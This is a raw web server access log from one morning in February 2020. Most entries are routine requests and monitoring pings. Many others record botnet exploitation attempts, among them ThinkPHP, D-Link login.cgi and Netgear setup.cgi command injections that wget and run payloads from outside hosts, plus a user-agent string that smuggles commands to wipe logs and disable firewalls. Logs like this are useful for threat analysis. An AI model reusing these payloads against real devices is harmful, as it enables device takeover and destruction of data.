164.68.112.178 - - [17/Feb/2020:06:47:21 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36"
164.68.112.178 - - [17/Feb/2020:06:47:23 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36"
164.68.112.178 - - [17/Feb/2020:06:47:24 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36"
164.68.112.178 - - [17/Feb/2020:06:47:28 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36"
164.68.112.178 - - [17/Feb/2020:06:47:30 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36"
164.68.112.178 - - [17/Feb/2020:06:47:32 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36"
164.68.112.178 - - [17/Feb/2020:06:47:40 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36"
70.95.63.117 - - [17/Feb/2020:06:48:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.101.0.209 - - [17/Feb/2020:06:49:55 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
178.73.215.171 - - [17/Feb/2020:06:50:50 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
213.32.253.145 - - [17/Feb/2020:06:52:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
178.217.154.98 - - [17/Feb/2020:07:03:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
199.47.47.204 - - [17/Feb/2020:07:04:48 +0100] "GET /CFIDE/administrator/ HTTP/1.1" 404 325 "-" "-"
199.47.47.204 - - [17/Feb/2020:07:04:48 +0100] "GET /CFIDE/administrator/ HTTP/1.1" 404 325 "-" "-"
199.47.47.204 - - [17/Feb/2020:07:04:48 +0100] "GET /CFIDE/administrator/ HTTP/1.1" 404 325 "-" "-"
199.47.47.204 - - [17/Feb/2020:07:04:48 +0100] "GET /CFIDE/administrator/ HTTP/1.1" 404 325 "-" "-"
199.47.47.204 - - [17/Feb/2020:07:04:48 +0100] "GET /CFIDE/administrator/ HTTP/1.1" 404 325 "-" "-"
199.47.47.204 - - [17/Feb/2020:07:04:48 +0100] "GET /CFIDE/administrator/ HTTP/1.1" 404 325 "-" "-"
199.47.47.204 - - [17/Feb/2020:07:04:48 +0100] "GET /CFIDE/administrator/ HTTP/1.1" 404 325 "-" "-"
199.47.47.204 - - [17/Feb/2020:07:04:48 +0100] "GET /CFIDE/administrator/ HTTP/1.1" 404 325 "-" "-"
199.47.47.204 - - [17/Feb/2020:07:04:48 +0100] "GET /CFIDE/administrator/ HTTP/1.1" 404 325 "-" "-"
199.47.47.204 - - [17/Feb/2020:07:04:48 +0100] "GET /CFIDE/administrator/ HTTP/1.1" 404 325 "-" "-"
78.182.19.68 - - [17/Feb/2020:07:05:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
116.209.160.148 - - [17/Feb/2020:07:10:38 +0100] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://116.209.160.148:55334/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 404 310 "-" "-"
88.224.180.231 - - [17/Feb/2020:07:11:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
181.14.211.118 - - [17/Feb/2020:07:12:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
191.242.169.171 - - [17/Feb/2020:07:13:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
78.161.206.79 - - [17/Feb/2020:07:14:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
118.179.221.6 - - [17/Feb/2020:07:21:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
85.97.196.40 - - [17/Feb/2020:07:24:23 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
188.4.27.125 - - [17/Feb/2020:07:28:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
45.181.233.231 - - [17/Feb/2020:07:29:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
180.23.11.60 - - [17/Feb/2020:07:49:59 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
46.1.160.138 - - [17/Feb/2020:07:54:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
34.80.131.85 - - [17/Feb/2020:07:56:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
157.119.227.121 - - [17/Feb/2020:07:57:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
47.106.253.119 - - [17/Feb/2020:08:03:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
109.73.184.151 - - [17/Feb/2020:08:04:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
103.23.237.245 - - [17/Feb/2020:08:05:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
115.20.222.185 - - [17/Feb/2020:08:06:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [17/Feb/2020:08:06:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [17/Feb/2020:08:06:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [17/Feb/2020:08:06:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [17/Feb/2020:08:06:49 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
88.238.151.104 - - [17/Feb/2020:08:12:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
78.187.199.155 - - [17/Feb/2020:08:13:16 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
35.240.197.20 - - [17/Feb/2020:08:16:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
27.216.245.215 - - [17/Feb/2020:08:17:16 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
1.53.86.115 - - [17/Feb/2020:08:18:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [17/Feb/2020:08:26:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.100.39.167 - - [17/Feb/2020:08:26:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:08:27:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:08:28:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
191.242.169.171 - - [17/Feb/2020:08:28:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [17/Feb/2020:08:29:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
39.135.1.160 - - [17/Feb/2020:08:29:10 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.135.1.160 - - [17/Feb/2020:08:29:11 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.135.1.160 - - [17/Feb/2020:08:29:12 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.135.1.160 - - [17/Feb/2020:08:29:12 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.135.1.160 - - [17/Feb/2020:08:29:13 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.135.1.160 - - [17/Feb/2020:08:29:14 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.135.1.160 - - [17/Feb/2020:08:29:15 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.135.1.160 - - [17/Feb/2020:08:29:15 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.135.1.160 - - [17/Feb/2020:08:29:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [17/Feb/2020:08:30:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:08:31:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.166.98.105 - - [17/Feb/2020:08:31:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:08:32:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.97.196.40 - - [17/Feb/2020:08:32:04 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
195.66.194.6 - - [17/Feb/2020:08:32:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:08:33:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:08:34:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:08:35:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:08:36:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:08:37:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.8.14.81 - - [17/Feb/2020:08:38:00 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [17/Feb/2020:08:38:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:08:39:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.15.8.176 - - [17/Feb/2020:08:39:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:08:40:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:08:41:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:08:42:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:08:43:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:08:44:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:08:45:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:08:46:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.14.134.10 - - [17/Feb/2020:08:46:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:08:47:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.67.174.109 - - [17/Feb/2020:08:47:30 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [17/Feb/2020:08:48:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:08:49:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:08:50:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:08:51:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.165.91.103 - - [17/Feb/2020:08:51:11 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [17/Feb/2020:08:52:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:08:53:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.43.5.157 - - [17/Feb/2020:08:53:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:08:54:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.44.187.203 - - [17/Feb/2020:08:54:07 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [17/Feb/2020:08:55:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:08:56:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:08:57:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:08:58:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:08:59:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
165.255.235.227 - - [17/Feb/2020:08:59:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [17/Feb/2020:09:00:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:09:01:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:09:02:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:09:03:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:09:04:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:09:05:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.225.215.221 - - [17/Feb/2020:09:05:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
64.227.55.76 - - [17/Feb/2020:09:05:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [17/Feb/2020:09:06:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
